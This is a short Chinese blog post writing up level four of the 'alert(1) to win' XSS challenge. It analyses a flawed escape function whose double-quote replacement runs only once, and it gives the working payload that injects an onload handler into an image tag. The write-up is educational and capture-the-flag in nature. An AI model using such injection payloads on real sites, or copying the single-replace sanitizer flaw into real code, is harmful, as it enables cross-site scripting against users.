链滴

【XSS】alert(1) to win 第四题

作者：zjhch123
原文链接：https://ld246.com/article/1467222759541
来源网站：链滴
许可协议：署名-相同方式共享 4.0 国际 (CC BY-SA 4.0)

题目：

```
function escape(s) {
  var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}
```

我总结分析了一下，得到这个结果：

1. 所有 `<` 替换成<(全局)
2. 所有 `"` 替换成"(单次)
3. 把输入的 `url(http://***)` 替换成`<a href="url">url</a>`;(全局)
4. 把输入的形如 `[[img|333]]`格式 替换成`<img alt="333" src="img" >`格式。(全局)

可以发现双引号的替换是单次的，也就是说第二个双引号就能避过替换。这里我使用图片的onload属来进行注入。

`[[img|"" onload=alert(1)]]`

失败!!

查了一下原因，发现是有一个双引号遗留...【不仔细！】

`[[img|"" onload=alert(1)//]]`

注释掉就可以啦！

原文链接：【XSS】alert(1) to win 第四题